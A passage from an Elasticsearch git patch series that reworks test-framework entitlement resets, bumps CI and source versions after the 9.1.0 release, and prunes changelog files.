+        policyManager.clearModuleEntitlementsCache();
+    }
+
+    private static Path homeDir(Settings settings) {
+        return absolutePath(PATH_HOME_SETTING.get(settings));
+    }
+
+    private static Path configDir(Path configDir, Path homeDir) {
+        return configDir != null ? unwrapFilterPath(configDir) : homeDir.resolve("config");
     }
 
     private static Collection<Path> dataDirs(Settings settings, Path homeDir) {
@@ -130,15 +154,21 @@ private static Collection<Path> repoDirs(Settings settings) {
     }
 
     private static BiFunction<BaseDir, Collection<Path>, Collection<Path>> baseDirModifier(Consumer<Collection<Path>> consumer) {
+        // always return a new unmodifiable copy
         return (BaseDir baseDir, Collection<Path> paths) -> {
-            if (paths == null) {
-                paths = new HashSet<>();
-            }
+            paths = paths == null ? new HashSet<>() : new HashSet<>(paths);
             consumer.accept(paths);
-            return paths;
+            return Collections.unmodifiableCollection(paths);
         };
     }
 
+    private static Path unwrapFilterPath(Path path) {
+        while (path instanceof FilterPath fPath) {
+            path = fPath.getDelegate();
+        }
+        return path;
+    }
+
     @SuppressForbidden(reason = "must be resolved using the default file system, rather then the mocked test file system")
     private static Path absolutePath(String path) {
         return Paths.get(path).toAbsolutePath().normalize();
@@ -168,9 +198,11 @@ public static void setEntitledTestPackages(String[] entitledTestPackages) {
         policyManager.setEntitledTestPackages(entitledTestPackages);
     }
 
-    public static void reset() {
+    public static void resetAfterTest() {
+        // reset all base dirs except TEMP, which is initialized just once statically
+        baseDirPaths.keySet().retainAll(List.of(TEMP));
         if (policyManager != null) {
-            policyManager.reset();
+            policyManager.resetAfterTest();
         }
     }
 
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
index b504e51e119f7..bd1e6a468de31 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
@@ -53,7 +53,7 @@ public TestPolicyManager(
         super(serverPolicy, apmAgentEntitlements, pluginPolicies, scopeResolver, name -> classpath, pathLookup);
         this.classpath = classpath;
         this.testOnlyClasspath = testOnlyClasspath;
-        reset();
+        resetAfterTest();
     }
 
     public void setActive(boolean newValue) {
@@ -77,13 +77,21 @@ public void setEntitledTestPackages(String... entitledTestPackages) {
     /**
      * Called between tests so each test is not affected by prior tests
      */
-    public final void reset() {
-        assert moduleEntitlementsMap.isEmpty() : "We're not supposed to be using moduleEntitlementsMap in tests";
-        classEntitlementsMap.clear();
+    public final void resetAfterTest() {
+        clearModuleEntitlementsCache();
         isActive = false;
         isTriviallyAllowingTestCode = true;
     }
 
+    /**
+     * Clear cached module entitlements.
+     * This is required after updating entries in {@link TestPathLookup}.
+     */
+    public final void clearModuleEntitlementsCache() {
+        assert moduleEntitlementsMap.isEmpty() : "We're not supposed to be using moduleEntitlementsMap in tests";
+        classEntitlementsMap.clear();
+    }
+
     @Override
     protected boolean isTrustedSystemClass(Class<?> requestingClass) {
         ClassLoader loader = requestingClass.getClassLoader();
diff --git a/test/framework/src/main/java/org/elasticsearch/node/MockNode.java b/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
index 000c285b6f637..1c501acf79424 100644
--- a/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
+++ b/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
@@ -54,11 +54,11 @@
 import org.elasticsearch.transport.TransportService;
 import org.elasticsearch.transport.TransportSettings;
 
-import java.io.IOException;
 import java.nio.file.Path;
 import java.util.Collection;
 import java.util.Collections;
 import java.util.Map;
+import java.util.concurrent.TimeUnit;
 import java.util.function.Function;
 import java.util.function.LongSupplier;
 
@@ -282,11 +282,12 @@ private static Environment prepareEnvironment(final Settings settings, final Pat
     }
 
     @Override
-    public synchronized void close() throws IOException {
+    public synchronized boolean awaitClose(long timeout, TimeUnit timeUnit) throws InterruptedException {
         try {
-            super.close();
+            return super.awaitClose(timeout, timeUnit);
         } finally {
-            TestEntitlementBootstrap.unregisterNodeBaseDirs(getEnvironment().settings(), getEnvironment().configDir());
+            // wipePendingDataDirectories requires entitlement delegation to work due to this using FileSystemUtils ES-10920
+            // TestEntitlementBootstrap.unregisterNodeBaseDirs(settings(), getEnvironment().configDir());
         }
     }
 
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
index 0cd2f67a56583..e946f415cf392 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
@@ -546,7 +546,7 @@ public static void setupEntitlementsForClass() {
 
     @AfterClass
     public static void resetEntitlements() {
-        TestEntitlementBootstrap.reset();
+        TestEntitlementBootstrap.resetAfterTest();
     }
 
     // setup mock filesystems for this test run. we change PathUtils
diff --git a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
index 4a62355f398d8..c0f1aaa227cdb 100644
--- a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
+++ b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
@@ -41,13 +41,13 @@ public void setupPolicyManager() {
         policyManager.setActive(true);
     }
 
-    public void testReset() {
+    public void testResetAfterTest() {
         assertTrue(policyManager.classEntitlementsMap.isEmpty());
         assertEquals("example-plugin1", policyManager.getEntitlements(getClass()).componentName());
         assertEquals("example-plugin1", policyManager.getEntitlements(getClass()).componentName());
         assertFalse(policyManager.classEntitlementsMap.isEmpty());
 
-        policyManager.reset();
+        policyManager.resetAfterTest();
 
         assertTrue(policyManager.classEntitlementsMap.isEmpty());
         assertEquals("example-plugin2", policyManager.getEntitlements(getClass()).componentName());
diff --git a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterBasicLicenseIT.java b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterBasicLicenseIT.java
index e2d00b8c52781..33b9adb431a0a 100644
--- a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterBasicLicenseIT.java
+++ b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterBasicLicenseIT.java
@@ -23,6 +23,7 @@
 import org.elasticsearch.license.LicenseSettings;
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.xpack.core.XPackField;
 import org.elasticsearch.xpack.inference.LocalStateInferencePlugin;
 import org.elasticsearch.xpack.inference.Utils;
@@ -42,6 +43,7 @@
 import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.instanceOf;
 
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class ShardBulkInferenceActionFilterBasicLicenseIT extends ESIntegTestCase {
     public static final String INDEX_NAME = "test-index";
 
diff --git a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterIT.java b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterIT.java
index 8405fba22460f..7ddbf4fc55ffd 100644
--- a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterIT.java
+++ b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/action/filter/ShardBulkInferenceActionFilterIT.java
@@ -32,6 +32,7 @@
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.search.builder.SearchSourceBuilder;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.InternalTestCluster;
 import org.elasticsearch.xpack.inference.InferenceIndex;
 import org.elasticsearch.xpack.inference.LocalStateInferencePlugin;
@@ -56,6 +57,7 @@
 import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.equalTo;
 
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class ShardBulkInferenceActionFilterIT extends ESIntegTestCase {
     public static final String INDEX_NAME = "test-index";
 
diff --git a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/InferenceRevokeDefaultEndpointsIT.java b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/InferenceRevokeDefaultEndpointsIT.java
index 4c200c6f20247..65cd0aa5541e4 100644
--- a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/InferenceRevokeDefaultEndpointsIT.java
+++ b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/InferenceRevokeDefaultEndpointsIT.java
@@ -20,6 +20,7 @@
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.reindex.ReindexPlugin;
 import org.elasticsearch.test.ESSingleNodeTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.http.MockResponse;
 import org.elasticsearch.test.http.MockWebServer;
 import org.elasticsearch.threadpool.ThreadPool;
@@ -47,6 +48,7 @@
 import static org.hamcrest.Matchers.containsInAnyOrder;
 import static org.mockito.Mockito.mock;
 
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class InferenceRevokeDefaultEndpointsIT extends ESSingleNodeTestCase {
     private static final TimeValue TIMEOUT = new TimeValue(30, TimeUnit.SECONDS);
 
diff --git a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/ModelRegistryIT.java b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/ModelRegistryIT.java
index e56782bd00ef5..3c09e73c55411 100644
--- a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/ModelRegistryIT.java
+++ b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/ModelRegistryIT.java
@@ -34,6 +34,7 @@
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.reindex.ReindexPlugin;
 import org.elasticsearch.test.ESSingleNodeTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.threadpool.ThreadPool;
 import org.elasticsearch.xcontent.ToXContentObject;
 import org.elasticsearch.xcontent.XContentBuilder;
@@ -74,6 +75,7 @@
 import static org.mockito.Mockito.doAnswer;
 import static org.mockito.Mockito.mock;
 
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class ModelRegistryIT extends ESSingleNodeTestCase {
     private static final TimeValue TIMEOUT = new TimeValue(30, TimeUnit.SECONDS);
 
diff --git a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexOptionsIT.java b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexOptionsIT.java
index fbb5e25079f62..7ee1db0a8eb80 100644
--- a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexOptionsIT.java
+++ b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexOptionsIT.java
@@ -30,6 +30,7 @@
 import org.elasticsearch.protocol.xpack.license.GetLicenseRequest;
 import org.elasticsearch.reindex.ReindexPlugin;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.InternalTestCluster;
 import org.elasticsearch.xcontent.ToXContent;
 import org.elasticsearch.xcontent.XContentBuilder;
@@ -55,6 +56,7 @@
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
 import static org.hamcrest.CoreMatchers.equalTo;
 
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class SemanticTextIndexOptionsIT extends ESIntegTestCase {
     private static final String INDEX_NAME = "test-index";
     private static final Map<String, Object> BBQ_COMPATIBLE_SERVICE_SETTINGS = Map.of(
diff --git a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexVersionIT.java b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexVersionIT.java
index 6f8992b5bd200..8986b0a158e9f 100644
--- a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexVersionIT.java
+++ b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexVersionIT.java
@@ -24,6 +24,7 @@
 import org.elasticsearch.search.builder.SearchSourceBuilder;
 import org.elasticsearch.search.fetch.subphase.highlight.HighlightBuilder;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.index.IndexVersionUtils;
 import org.elasticsearch.xcontent.XContentBuilder;
 import org.elasticsearch.xcontent.XContentFactory;
@@ -50,6 +51,7 @@
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertResponse;
 import static org.hamcrest.Matchers.equalTo;
 
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class SemanticTextIndexVersionIT extends ESIntegTestCase {
     private static final int MAXIMUM_NUMBER_OF_VERSIONS_TO_TEST = 25;
     private static final String SPARSE_SEMANTIC_FIELD = "sparse_field";
diff --git a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/rest/ServerSentEventsRestActionListenerTests.java b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/rest/ServerSentEventsRestActionListenerTests.java
index 87e14e4e89d88..3287995588d86 100644
--- a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/rest/ServerSentEventsRestActionListenerTests.java
+++ b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/rest/ServerSentEventsRestActionListenerTests.java
@@ -45,6 +45,7 @@
 import org.elasticsearch.rest.RestRequest;
 import org.elasticsearch.rest.RestStatus;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.threadpool.ThreadPool;
 import org.elasticsearch.xcontent.ToXContent;
 import org.elasticsearch.xpack.core.inference.action.InferenceAction;
@@ -75,6 +76,7 @@
 import static org.hamcrest.Matchers.nullValue;
 
 @ESIntegTestCase.ClusterScope(numDataNodes = 1)
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class ServerSentEventsRestActionListenerTests extends ESIntegTestCase {
     private static final String INFERENCE_ROUTE = "/_inference";
     private static final String REQUEST_COUNT = "request_count";

From d8c02dcac8327d86839093e3fc284997be5b17de Mon Sep 17 00:00:00 2001
From: Brian Seeders <brian.seeders@elastic.co>
Date: Tue, 29 Jul 2025 15:28:49 -0400
Subject: [PATCH 257/299] Revert "Remove 8.17 from branches.json" (#132102)

This reverts commit afa7fec99c517632016fd99d9c0ccc56df276518.

(cherry picked from commit 54d0e6f8e58091b3a74b1d93ac68e803d6fc1072)
---
 branches.json | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/branches.json b/branches.json
index 72dbe9c14f4e8..a2feaf0715575 100644
--- a/branches.json
+++ b/branches.json
@@ -16,6 +16,9 @@
     {
       "branch": "8.18"
     },
+    {
+      "branch": "8.17"
+    },
     {
       "branch": "7.17"
     }

From 90bd95e13509035845231f45a4ff7db4e7c179d3 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
Date: Tue, 29 Jul 2025 19:33:56 +0000
Subject: [PATCH 258/299] Bump versions after 9.1.0 release

---
 .backportrc.json                              |  4 +--
 .buildkite/pipelines/intake.yml               |  2 +-
 .buildkite/pipelines/periodic-fwc.yml         |  2 +-
 .buildkite/pipelines/periodic-packaging.yml   | 22 ++------------
 .buildkite/pipelines/periodic.yml             | 29 ++++---------------
 .ci/bwcVersions                               |  3 +-
 .ci/snapshotBwcVersions                       |  3 +-
 build-tools-internal/version.properties       |  2 +-
 .../org/elasticsearch/TransportVersions.java  |  1 +
 .../main/java/org/elasticsearch/Version.java  |  4 +--
 .../org/elasticsearch/TransportVersions.csv   |  1 +
 .../org/elasticsearch/index/IndexVersions.csv |  1 +
 12 files changed, 20 insertions(+), 54 deletions(-)

diff --git a/.backportrc.json b/.backportrc.json
index 31698460c2827..78048fced8325 100644
--- a/.backportrc.json
+++ b/.backportrc.json
@@ -1,9 +1,9 @@
 {
   "upstream" : "elastic/elasticsearch",
-  "targetBranchChoices" : [ "main", "9.0", "8.19", "8.18", "8.17", "8.16", "8.15", "8.14", "8.13", "8.12", "8.11", "8.10", "8.9", "8.8", "8.7", "8.6", "8.5", "8.4", "8.3", "8.2", "8.1", "8.0", "7.17", "6.8" ],
+  "targetBranchChoices" : [ "main", "9.1", "9.0", "8.19", "8.18", "8.17", "8.16", "8.15", "8.14", "8.13", "8.12", "8.11", "8.10", "8.9", "8.8", "8.7", "8.6", "8.5", "8.4", "8.3", "8.2", "8.1", "8.0", "7.17", "6.8" ],
   "targetPRLabels" : [ "backport" ],
   "branchLabelMapping" : {
-    "^v9.1.0$" : "main",
+    "^v9.1.1$" : "main",
     "^v(\\d+).(\\d+).\\d+(?:-(?:alpha|beta|rc)\\d+)?$" : "$1.$2"
   }
 }
\ No newline at end of file
diff --git a/.buildkite/pipelines/intake.yml b/.buildkite/pipelines/intake.yml
index 8c2627e660102..9fb07ef82c1d1 100644
--- a/.buildkite/pipelines/intake.yml
+++ b/.buildkite/pipelines/intake.yml
@@ -65,7 +65,7 @@ steps:
         timeout_in_minutes: 300
         matrix:
           setup:
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.buildkite/pipelines/periodic-fwc.yml b/.buildkite/pipelines/periodic-fwc.yml
index f17ee5574e6e7..a49419bae698b 100644
--- a/.buildkite/pipelines/periodic-fwc.yml
+++ b/.buildkite/pipelines/periodic-fwc.yml
@@ -10,6 +10,6 @@ steps:
       buildDirectory: /dev/shm/bk
     matrix:
       setup:
-        FWC_VERSION: []
+        FWC_VERSION: ["9.1.0"]
     env:
       FWC_VERSION: $FWC_VERSION
diff --git a/.buildkite/pipelines/periodic-packaging.yml b/.buildkite/pipelines/periodic-packaging.yml
index f1474f63a3ad5..f4a653a40fc72 100644
--- a/.buildkite/pipelines/periodic-packaging.yml
+++ b/.buildkite/pipelines/periodic-packaging.yml
@@ -334,22 +334,6 @@ steps:
         env:
           BWC_VERSION: 8.18.5
 
-      - label: "{{matrix.image}} / 8.19.0 / packaging-tests-upgrade"
-        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.19.0
-        timeout_in_minutes: 300
-        matrix:
-          setup:
-            image:
-              - rocky-8
-              - ubuntu-2404
-        agents:
-          provider: gcp
-          image: family/elasticsearch-{{matrix.image}}
-          machineType: custom-16-32768
-          buildDirectory: /dev/shm/bk
-        env:
-          BWC_VERSION: 8.19.0
-
       - label: "{{matrix.image}} / 9.0.5 / packaging-tests-upgrade"
         command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v9.0.5
         timeout_in_minutes: 300
@@ -366,8 +350,8 @@ steps:
         env:
           BWC_VERSION: 9.0.5
 
-      - label: "{{matrix.image}} / 9.1.0 / packaging-tests-upgrade"
-        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v9.1.0
+      - label: "{{matrix.image}} / 9.1.1 / packaging-tests-upgrade"
+        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v9.1.1
         timeout_in_minutes: 300
         matrix:
           setup:
@@ -380,7 +364,7 @@ steps:
           machineType: custom-16-32768
           buildDirectory: /dev/shm/bk
         env:
-          BWC_VERSION: 9.1.0
+          BWC_VERSION: 9.1.1
 
   - group: packaging-tests-windows
     steps:
diff --git a/.buildkite/pipelines/periodic.yml b/.buildkite/pipelines/periodic.yml
index de7fc1aed7077..37c710a1f2e94 100644
--- a/.buildkite/pipelines/periodic.yml
+++ b/.buildkite/pipelines/periodic.yml
@@ -363,25 +363,6 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
-      - label: 8.19.0 / bwc
-        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.19.0#bwcTest
-        timeout_in_minutes: 300
-        agents:
-          provider: gcp
-          image: family/elasticsearch-ubuntu-2404
-          machineType: n1-standard-32
-          buildDirectory: /dev/shm/bk
-          preemptible: true
-        env:
-          BWC_VERSION: 8.19.0
-        retry:
-          automatic:
-            - exit_status: "-1"
-              limit: 3
-              signal_reason: none
-            - signal_reason: agent_stop
-              limit: 3
-
       - label: 9.0.5 / bwc
         command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v9.0.5#bwcTest
         timeout_in_minutes: 300
@@ -401,8 +382,8 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
-      - label: 9.1.0 / bwc
-        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v9.1.0#bwcTest
+      - label: 9.1.1 / bwc
+        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v9.1.1#bwcTest
         timeout_in_minutes: 300
         agents:
           provider: gcp
@@ -411,7 +392,7 @@ steps:
           buildDirectory: /dev/shm/bk
           preemptible: true
         env:
-          BWC_VERSION: 9.1.0
+          BWC_VERSION: 9.1.1
         retry:
           automatic:
             - exit_status: "-1"
@@ -487,7 +468,7 @@ steps:
           setup:
             ES_RUNTIME_JAVA:
               - openjdk21
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
@@ -531,7 +512,7 @@ steps:
             ES_RUNTIME_JAVA:
               - openjdk21
               - openjdk23
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.ci/bwcVersions b/.ci/bwcVersions
index 04bd0f5931b96..62a893f2ccd29 100644
--- a/.ci/bwcVersions
+++ b/.ci/bwcVersions
@@ -18,6 +18,5 @@ BWC_VERSION:
   - "8.16.6"
   - "8.17.10"
   - "8.18.5"
-  - "8.19.0"
   - "9.0.5"
-  - "9.1.0"
+  - "9.1.1"
diff --git a/.ci/snapshotBwcVersions b/.ci/snapshotBwcVersions
index f4a50f697d43a..199c65b86ac43 100644
--- a/.ci/snapshotBwcVersions
+++ b/.ci/snapshotBwcVersions
@@ -1,6 +1,5 @@
 BWC_VERSION:
   - "8.17.10"
   - "8.18.5"
-  - "8.19.0"
   - "9.0.5"
-  - "9.1.0"
+  - "9.1.1"
diff --git a/build-tools-internal/version.properties b/build-tools-internal/version.properties
index 152ee2c9ca862..5827e6c82259e 100644
--- a/build-tools-internal/version.properties
+++ b/build-tools-internal/version.properties
@@ -1,4 +1,4 @@
-elasticsearch     = 9.1.0
+elasticsearch     = 9.1.1
 lucene            = 10.2.2
 
 bundled_jdk_vendor = openjdk
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index 94cfa73ffe1ac..d2f80e49f292f 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -333,6 +333,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion ESQL_SPLIT_ON_BIG_VALUES_9_1 = def(9_112_0_01);
     public static final TransportVersion ESQL_FIXED_INDEX_LIKE_9_1 = def(9_112_0_02);
     public static final TransportVersion ESQL_SAMPLE_OPERATOR_STATUS_9_1 = def(9_112_0_03);
+    public static final TransportVersion INITIAL_ELASTICSEARCH_9_1_1 = def(9_112_0_04);
 
     /*
      * STOP! READ THIS FIRST! No, really,
diff --git a/server/src/main/java/org/elasticsearch/Version.java b/server/src/main/java/org/elasticsearch/Version.java
index 315d7c861279f..f1f9a099b20ce 100644
--- a/server/src/main/java/org/elasticsearch/Version.java
+++ b/server/src/main/java/org/elasticsearch/Version.java
@@ -212,7 +212,6 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_8_18_3 = new Version(8_18_03_99);
     public static final Version V_8_18_4 = new Version(8_18_04_99);
     public static final Version V_8_18_5 = new Version(8_18_05_99);
-    public static final Version V_8_19_0 = new Version(8_19_00_99);
     public static final Version V_9_0_0 = new Version(9_00_00_99);
     public static final Version V_9_0_1 = new Version(9_00_01_99);
     public static final Version V_9_0_2 = new Version(9_00_02_99);
@@ -220,7 +219,8 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_9_0_4 = new Version(9_00_04_99);
     public static final Version V_9_0_5 = new Version(9_00_05_99);
     public static final Version V_9_1_0 = new Version(9_01_00_99);
-    public static final Version CURRENT = V_9_1_0;
+    public static final Version V_9_1_1 = new Version(9_01_01_99);
+    public static final Version CURRENT = V_9_1_1;
 
     private static final NavigableMap<Integer, Version> VERSION_IDS;
     private static final Map<String, Version> VERSION_STRINGS;
diff --git a/server/src/main/resources/org/elasticsearch/TransportVersions.csv b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
index 7ac25eecc22f4..4090ced856d01 100644
--- a/server/src/main/resources/org/elasticsearch/TransportVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
@@ -160,3 +160,4 @@
 9.0.2,9000011
 9.0.3,9000012
 9.0.4,9000013
+9.1.0,9112003
diff --git a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
index e63e1c3fc99d8..b9c5e84f4920b 100644
--- a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
@@ -160,3 +160,4 @@
 9.0.2,9009000
 9.0.3,9009000
 9.0.4,9009000
+9.1.0,9033000

From c9dad86521ead115e5bacc5c3c39067af3b0cfb3 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
Date: Tue, 29 Jul 2025 19:34:54 +0000
Subject: [PATCH 259/299] Prune changelogs after 9.1.0 release

---
 docs/changelog/106953.yaml |  6 ---
 docs/changelog/113757.yaml |  5 ---
 docs/changelog/117642.yaml |  5 ---
 docs/changelog/119546.yaml |  5 ---
 docs/changelog/119967.yaml |  5 ---
 docs/changelog/119995.yaml |  5 ---
 docs/changelog/120302.yaml |  6 ---
 docs/changelog/120363.yaml |  5 ---
 docs/changelog/120488.yaml |  5 ---
 docs/changelog/120751.yaml |  5 ---
 docs/changelog/120774.yaml |  5 ---
 docs/changelog/120957.yaml |  5 ---
 docs/changelog/120998.yaml |  5 ---
 docs/changelog/121041.yaml |  5 ---
 docs/changelog/121106.yaml |  5 ---
 docs/changelog/121240.yaml |  5 ---
 docs/changelog/121256.yaml |  5 ---
 docs/changelog/121260.yaml |  5 ---
 docs/changelog/121324.yaml |  6 ---
 docs/changelog/121327.yaml |  5 ---
 docs/changelog/121370.yaml |  5 ---
 docs/changelog/121548.yaml |  5 ---
 docs/changelog/121784.yaml |  5 ---
 docs/changelog/121805.yaml |  5 ---
 docs/changelog/121827.yaml |  6 ---
 docs/changelog/121885.yaml |  5 ---
 docs/changelog/121920.yaml |  6 ---
 docs/changelog/121942.yaml |  5 ---
 docs/changelog/121948.yaml |  5 ---
 docs/changelog/122062.yaml | 54 -----------------------
 docs/changelog/122066.yaml |  5 ---
 docs/changelog/122134.yaml |  5 ---
 docs/changelog/122218.yaml |  5 ---
 docs/changelog/122224.yaml |  6 ---
 docs/changelog/122272.yaml |  6 ---
 docs/changelog/122280.yaml |  5 ---
 docs/changelog/122365.yaml |  5 ---
 docs/changelog/122381.yaml |  6 ---
 docs/changelog/122390.yaml |  5 ---
 docs/changelog/122458.yaml |  5 ---
 docs/changelog/122459.yaml |  5 ---
 docs/changelog/122486.yaml |  5 ---
 docs/changelog/122497.yaml |  5 ---
 docs/changelog/122586.yaml |  6 ---
 docs/changelog/122615.yaml |  8 ----
 docs/changelog/122637.yaml |  6 ---
 docs/changelog/122638.yaml |  7 ---
 docs/changelog/122660.yaml |  5 ---
 docs/changelog/122708.yaml |  5 ---
 docs/changelog/122821.yaml |  6 ---
 docs/changelog/122823.yaml |  5 ---
 docs/changelog/122852.yaml |  5 ---
 docs/changelog/122857.yaml |  5 ---
 docs/changelog/122860.yaml |  5 ---
 docs/changelog/122885.yaml |  5 ---
 docs/changelog/122890.yaml |  5 ---
 docs/changelog/122891.yaml |  5 ---
 docs/changelog/122921.yaml |  5 ---
 docs/changelog/122933.yaml |  5 ---
 docs/changelog/122991.yaml |  5 ---
 docs/changelog/122999.yaml |  5 ---
 docs/changelog/123044.yaml |  5 ---
 docs/changelog/123074.yaml |  5 ---
 docs/changelog/123085.yaml |  5 ---
